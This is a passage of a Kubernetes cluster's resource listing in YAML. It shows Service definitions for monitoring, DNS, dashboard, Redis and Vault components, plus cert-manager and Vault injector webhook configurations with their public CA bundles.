      app.kubernetes.io/component: query
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-query
    namespace: jaeger
    resourceVersion: "6810521"
    uid: 83b4251f-b62b-479a-87ce-99473b386d9c
  spec:
    clusterIP: 10.100.68.200
    clusterIPs:
    - 10.100.68.200
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: query
      port: 80
      protocol: TCP
      targetPort: query
    - name: grpc
      port: 16685
      protocol: TCP
      targetPort: grpc
    - name: admin
      port: 16687
      protocol: TCP
      targetPort: admin
    selector:
      app.kubernetes.io/component: query
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      prometheus.io/port: "9153"
      prometheus.io/scrape: "true"
    creationTimestamp: "2025-09-21T11:09:19Z"
    labels:
      k8s-app: kube-dns
      kubernetes.io/cluster-service: "true"
      kubernetes.io/name: CoreDNS
    name: kube-dns
    namespace: kube-system
    resourceVersion: "276"
    uid: 337b8a7e-8525-4d6c-96be-987f3667b1f9
  spec:
    clusterIP: 10.96.0.10
    clusterIPs:
    - 10.96.0.10
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: dns
      port: 53
      protocol: UDP
      targetPort: 53
    - name: dns-tcp
      port: 53
      protocol: TCP
      targetPort: 53
    - name: metrics
      port: 9153
      protocol: TCP
      targetPort: 9153
    selector:
      k8s-app: kube-dns
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/component: api
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-api
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.13.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-api
    namespace: kubernetes-dashboard
    resourceVersion: "417252"
    uid: fced0b00-f357-4067-8962-214d55b49881
  spec:
    clusterIP: 10.106.177.228
    clusterIPs:
    - 10.106.177.228
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: api
      port: 8000
      protocol: TCP
      targetPort: 8000
    selector:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/name: kubernetes-dashboard-api
      app.kubernetes.io/part-of: kubernetes-dashboard
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/component: auth
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-auth
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.3.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-auth
    namespace: kubernetes-dashboard
    resourceVersion: "417247"
    uid: dbd3b92f-8216-4f45-a548-0bbd6f431554
  spec:
    clusterIP: 10.109.174.96
    clusterIPs:
    - 10.109.174.96
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: auth
      port: 8000
      protocol: TCP
      targetPort: 8000
    selector:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/name: kubernetes-dashboard-auth
      app.kubernetes.io/part-of: kubernetes-dashboard
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kong
      app.kubernetes.io/version: "3.8"
      enable-metrics: "true"
      helm.sh/chart: kong-2.46.0
    name: kubernetes-dashboard-kong-proxy
    namespace: kubernetes-dashboard
    resourceVersion: "417235"
    uid: a0a94a3b-0ea3-4924-b282-8e07c84efc50
  spec:
    clusterIP: 10.102.111.160
    clusterIPs:
    - 10.102.111.160
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: kong-proxy-tls
      port: 443
      protocol: TCP
      targetPort: 8443
    selector:
      app.kubernetes.io/component: app
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/name: kong
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/component: metrics-scraper
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.2.2
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-metrics-scraper
    namespace: kubernetes-dashboard
    resourceVersion: "417241"
    uid: ced4c717-e9f6-449e-aa48-79db94bcc0d6
  spec:
    clusterIP: 10.107.233.106
    clusterIPs:
    - 10.107.233.106
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - port: 8000
      protocol: TCP
      targetPort: 8000
    selector:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
      app.kubernetes.io/part-of: kubernetes-dashboard
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/component: web
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-web
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.7.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-web
    namespace: kubernetes-dashboard
    resourceVersion: "417229"
    uid: 2b2b7f7c-50bb-4e4b-945a-23930af62023
  spec:
    clusterIP: 10.105.56.158
    clusterIPs:
    - 10.105.56.158
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: web
      port: 8000
      protocol: TCP
      targetPort: 8000
    selector:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/name: kubernetes-dashboard-web
      app.kubernetes.io/part-of: kubernetes-dashboard
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-webhook-service
    namespace: metallb-system
    resourceVersion: "57878"
    uid: fed617ba-a22e-4b30-ac3d-073dde2f7e4f
  spec:
    clusterIP: 10.109.210.255
    clusterIPs:
    - 10.109.210.255
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - port: 443
      protocol: TCP
      targetPort: 9443
    selector:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:50Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      helm.sh/chart: metrics-server-3.13.0
    name: metrics-server
    namespace: metrics-server
    resourceVersion: "266999"
    uid: 73ba72a9-6af3-4c87-8c29-adcf507b3c9e
  spec:
    clusterIP: 10.98.111.152
    clusterIPs:
    - 10.98.111.152
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - appProtocol: https
      name: https
      port: 443
      protocol: TCP
      targetPort: https
    selector:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/name: metrics-server
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: alertmanager
      app.kubernetes.io/version: v0.28.1
      helm.sh/chart: alertmanager-1.26.0
    name: prometheus-community-alertmanager
    namespace: prometheus
    resourceVersion: "1129885"
    uid: c7db8cf9-da6e-44fb-af6c-3d7f195f3cce
  spec:
    clusterIP: 10.104.164.67
    clusterIPs:
    - 10.104.164.67
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 9093
      protocol: TCP
      targetPort: http
    selector:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: alertmanager
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: alertmanager
      app.kubernetes.io/version: v0.28.1
      helm.sh/chart: alertmanager-1.26.0
    name: prometheus-community-alertmanager-headless
    namespace: prometheus
    resourceVersion: "1129857"
    uid: 8da90085-f6c6-451b-b4ea-1ffbffbc00e4
  spec:
    clusterIP: None
    clusterIPs:
    - None
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 9093
      protocol: TCP
      targetPort: http
    selector:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: alertmanager
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
      prometheus.io/scrape: "true"
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      helm.sh/chart: kube-state-metrics-6.3.0
    name: prometheus-community-kube-state-metrics
    namespace: prometheus
    resourceVersion: "1129874"
    uid: 6a21fe9b-9ab0-4b65-b243-c7ed0fcddf92
  spec:
    clusterIP: 10.103.221.89
    clusterIPs:
    - 10.103.221.89
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 8080
      protocol: TCP
      targetPort: http
    selector:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: kube-state-metrics
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
      prometheus.io/scrape: "true"
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      helm.sh/chart: prometheus-node-exporter-4.48.0
    name: prometheus-community-prometheus-node-exporter
    namespace: prometheus
    resourceVersion: "1129863"
    uid: a720d40b-e503-4ab9-937e-43461fec1f9f
  spec:
    clusterIP: 10.96.108.38
    clusterIPs:
    - 10.96.108.38
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: metrics
      port: 9100
      protocol: TCP
      targetPort: 9100
    selector:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: prometheus-node-exporter
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
      prometheus.io/probe: pushgateway
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-pushgateway
      app.kubernetes.io/version: v1.11.1
      helm.sh/chart: prometheus-pushgateway-3.4.1
    name: prometheus-community-prometheus-pushgateway
    namespace: prometheus
    resourceVersion: "1129879"
    uid: 25e313ee-9aff-4f49-aae0-c2cf5ef21da7
  spec:
    clusterIP: 10.111.214.6
    clusterIPs:
    - 10.111.214.6
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 9091
      protocol: TCP
      targetPort: 9091
    selector:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: prometheus-pushgateway
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
    name: prometheus-community-server
    namespace: prometheus
    resourceVersion: "1129868"
    uid: b4911eed-253c-48a3-9e0c-15e54c1c95a9
  spec:
    clusterIP: 10.106.85.212
    clusterIPs:
    - 10.106.85.212
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 80
      protocol: TCP
      targetPort: 9090
    selector:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: prometheus
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-headless
    namespace: redis
    resourceVersion: "6769112"
    uid: f91d28f0-48c7-40e1-ba2b-1fe8a13a2d53
  spec:
    clusterIP: None
    clusterIPs:
    - None
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: tcp-redis
      port: 6379
      protocol: TCP
      targetPort: redis
    selector:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/name: redis
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-master
    namespace: redis
    resourceVersion: "6769118"
    uid: b4fa9c12-4b33-4023-a400-d7e1db8bfefd
  spec:
    clusterIP: 10.108.248.99
    clusterIPs:
    - 10.108.248.99
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: tcp-redis
      port: 6379
      protocol: TCP
      targetPort: redis
    selector:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/name: redis
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-replicas
    namespace: redis
    resourceVersion: "6769121"
    uid: e41376f5-ee37-47e9-b205-2b27fb3c3302
  spec:
    clusterIP: 10.105.117.114
    clusterIPs:
    - 10.105.117.114
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: tcp-redis
      port: 6379
      protocol: TCP
      targetPort: redis
    selector:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/name: redis
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
      helm.sh/chart: vault-0.30.1
    name: vault
    namespace: vault
    resourceVersion: "265874"
    uid: 35681fbd-d47b-476a-a8e8-85277a417729
  spec:
    clusterIP: 10.100.172.192
    clusterIPs:
    - 10.100.172.192
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 8200
      protocol: TCP
      targetPort: 8200
    - name: https-internal
      port: 8201
      protocol: TCP
      targetPort: 8201
    publishNotReadyAddresses: true
    selector:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault
      component: server
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault-agent-injector
    name: vault-agent-injector-svc
    namespace: vault
    resourceVersion: "265881"
    uid: 99b91202-d2fc-4749-87ce-7c0957c13c41
  spec:
    clusterIP: 10.111.198.73
    clusterIPs:
    - 10.111.198.73
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: https
      port: 443
      protocol: TCP
      targetPort: 8080
    selector:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault-agent-injector
      component: webhook
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
      helm.sh/chart: vault-0.30.1
      vault-internal: "true"
    name: vault-internal
    namespace: vault
    resourceVersion: "265870"
    uid: 67d40cad-1b79-44ed-9be9-aa006b429a69
  spec:
    clusterIP: None
    clusterIPs:
    - None
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 8200
      protocol: TCP
      targetPort: 8200
    - name: https-internal
      port: 8201
      protocol: TCP
      targetPort: 8201
    publishNotReadyAddresses: true
    selector:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault
      component: server
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: admissionregistration.k8s.io/v1
  kind: MutatingWebhookConfiguration
  metadata:
    annotations:
      cert-manager.io/inject-ca-from-secret: cert-manager/cert-manager-webhook-ca
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:25Z"
    generation: 2
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook
    resourceVersion: "220244"
    uid: c86f9e5c-fdd7-4e3d-95a3-89317d9e9e1f
  webhooks:
  - admissionReviewVersions:
    - v1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJ3akNDQVVpZ0F3SUJBZ0lSQU96RVR6NGsxQ3E3amU0RmRHYWpScmt3Q2dZSUtvWkl6ajBFQXdNd0lqRWcKTUI0R0ExVUVBeE1YWTJWeWRDMXRZVzVoWjJWeUxYZGxZbWh2YjJzdFkyRXdIaGNOTWpVd09USXlNVE14T0RNMQpXaGNOTWpZd09USXlNVE14T0RNMVdqQWlNU0F3SGdZRFZRUURFeGRqWlhKMExXMWhibUZuWlhJdGQyVmlhRzl2CmF5MWpZVEIyTUJBR0J5cUdTTTQ5QWdFR0JTdUJCQUFpQTJJQUJBRVA3T2h5UVdJQUdabXhJTTgvR1hVNExWbVEKcEhDMzBuYytaSncybDRIeGl6ZGM4VnhHT2dBaDkxVFJHYyt0dkQ3MzhlUmxHM0tsSnVNTWNDa1BDRTZFWERxcApOZmNBVGxESHFPeHZpV2VrakVSbUhwOEdGNHYyU2ZkT0d2a25VS05DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trCk1BOEdBMVVkRXdFQi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZCYi9sbU5UZ25lZW1XMVVjcmFBQ0kzN2hIbXUKTUFvR0NDcUdTTTQ5QkFNREEyZ0FNR1VDTUhtYlFkMHdFWmZXcFY5M3FuLzg5MGpnN2dOQjhoUktsQVpSU2NBVApFUFBsTWkreGovbnM0RDdTNDQ4ZHBhdWFmd0l4QU5Bb3VDUkN6SndWelFGZExuREdSRCtYcVBmNEdEb0krVVJhCmRyczBNVWxuSlovTmpNVGdIZE9rQ2szRFhrZ3RNUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
      service:
        name: cert-manager-webhook
        namespace: cert-manager
        path: /mutate
        port: 443
    failurePolicy: Fail
    matchPolicy: Equivalent
    name: webhook.cert-manager.io
    namespaceSelector: {}
    objectSelector: {}
    reinvocationPolicy: Never
    rules:
    - apiGroups:
      - cert-manager.io
      apiVersions:
      - v1
      operations:
      - CREATE
      resources:
      - certificaterequests
      scope: '*'
    sideEffects: None
    timeoutSeconds: 30
- apiVersion: admissionregistration.k8s.io/v1
  kind: MutatingWebhookConfiguration
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    generation: 30
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault-agent-injector
    name: vault-agent-injector-cfg
    resourceVersion: "18007733"
    uid: c6388607-1ced-4a34-9e0c-684649b384b2
  webhooks:
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUNSekNDQWU2Z0F3SUJBZ0lVWGorcTJ2VlowZWF2MnBoMTJ3UHBmQUw2MnYwd0NnWUlLb1pJemowRUF3SXcKR2pFWU1CWUdBMVVFQXhNUFFXZGxiblFnU1c1cVpXTjBJRU5CTUI0WERUSTFNVEV5T0RFek1EWTFObG9YRFRNMQpNVEV5TmpFek1EYzFObG93R2pFWU1CWUdBMVVFQXhNUFFXZGxiblFnU1c1cVpXTjBJRU5CTUZrd0V3WUhLb1pJCnpqMENBUVlJS29aSXpqMERBUWNEUWdBRWZtSFFpVmtzSkxkOHMxRmI0VFhlS2wrY0hiOWh0SVYvcGo1OVZWaUcKYmovYUIxaUI0ZFFSVUdDUDlTNU9QVys5UWVSNy9KK1NubGpwbTBRd1RJUkMvS09DQVJBd2dnRU1NQTRHQTFVZApEd0VCL3dRRUF3SUNoREFUQmdOVkhTVUVEREFLQmdnckJnRUZCUWNEQVRBUEJnTlZIUk1CQWY4RUJUQURBUUgvCk1HZ0dBMVVkRGdSaEJGOWtaVHBoTWpwbU1EcGlZVG96TXpwalpUcGtNVG8zWVRvek56cGhPRHBrWWpwaE5qb3kKWVRvM1lUbzBPRG8zTlRvd1lUbzNPVG8zTWpwaVlqbzVZam8yTnpvell6cGpZenBtTmpwbVpUbzNZem8xWVRvMwpNanBqTWpvek1qcGhPVEJxQmdOVkhTTUVZekJoZ0Y5a1pUcGhNanBtTURwaVlUb3pNenBqWlRwa01UbzNZVG96Ck56cGhPRHBrWWpwaE5qb3lZVG8zWVRvME9EbzNOVG93WVRvM09UbzNNanBpWWpvNVlqbzJOem96WXpwall6cG0KTmpwbVpUbzNZem8xWVRvM01qcGpNam96TWpwaE9UQUtCZ2dxaGtqT1BRUURBZ05IQURCRUFpQSt1WFJ6d0Y2UApvSWp3Q1BsL3lmWDFkQ3dpR1RRT2ZqeTdCaGxJWTVZZThRSWdPeVZ6Ym0ybjc2bW1KRGhGZ29NL0tjZXN1M3A3CmJPNDdFekxXd0xkT0o5WT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJQ1NUQ0NBZTZnQXdJQkFnSVVDMnRuVDl4YjQzQTNDbDB6NUlsZzJFbHhLWm93Q2dZSUtvWkl6ajBFQXdJdwpHakVZTUJZR0ExVUVBeE1QUVdkbGJuUWdTVzVxWldOMElFTkJNQjRYRFRJMU1URXlPVEV4TVRJeE5Gb1hEVE0xCk1URXlOekV4TVRNeE5Gb3dHakVZTUJZR0ExVUVBeE1QUVdkbGJuUWdTVzVxWldOMElFTkJNRmt3RXdZSEtvWkkKemowQ0FRWUlLb1pJemowREFRY0RRZ0FFb3hmZE5TM3c2NWNCRWtGUnhNbS9ZTXNQVFl3M0NFWVVSeGRDYTIxZwo2N1ZWSUYwejhaQUFLdTJXWHFOdUJBQ0t5ZEsvNW1iZDczS3BPeWgzdHdrSXVxT0NBUkF3Z2dFTU1BNEdBMVVkCkR3RUIvd1FFQXdJQ2hEQVRCZ05WSFNVRUREQUtCZ2dyQmdFRkJRY0RBVEFQQmdOVkhSTUJBZjhFQlRBREFRSC8KTUdnR0ExVWREZ1JoQkY4eVl6cGlOem8xT0RvM1lqb3lZVG8wWXpwbE5EbzVPRHBrWkRvd01qcGlNanBtTnpwbQpPVG8zTWpwaU1Ub3pNRG81TmpwaU5EcGpPRHBpTWpveE56cGtaam8wTlRvMVpEb3paRG8xTXpwbE16bzVPVHBqCk1EbzFNam8xTmpvME1UQnFCZ05WSFNNRVl6QmhnRjh5WXpwaU56bzFPRG8zWWpveVlUbzBZenBsTkRvNU9EcGsKWkRvd01qcGlNanBtTnpwbU9UbzNNanBpTVRvek1EbzVOanBpTkRwak9EcGlNam94Tnpwa1pqbzBOVG8xWkRvegpaRG8xTXpwbE16bzVPVHBqTURvMU1qbzFOam8wTVRBS0JnZ3Foa2pPUFFRREFnTkpBREJHQWlFQXAyaUcyc0xMCjkvMTJVY295V2gyOHMySmM4YlRaSDFOckVyOFlPa1hOSExjQ0lRQ0V6M1FEM1JBNDk3S2JmVHZRVWptUCt2blYKZFBsVDAwR2tVMEJyQjgyQ09BPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: vault-agent-injector-svc
        namespace: vault
        path: /mutate
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: vault.hashicorp.com
    namespaceSelector: {}
    objectSelector:
      matchExpressions:
      - key: app.kubernetes.io/name
        operator: NotIn
        values:
        - vault-agent-injector
    reinvocationPolicy: Never
    rules:
    - apiGroups:
      - ""
      apiVersions:
      - v1
      operations:
      - CREATE
      resources:
      - pods
      scope: Namespaced
    sideEffects: None
    timeoutSeconds: 30
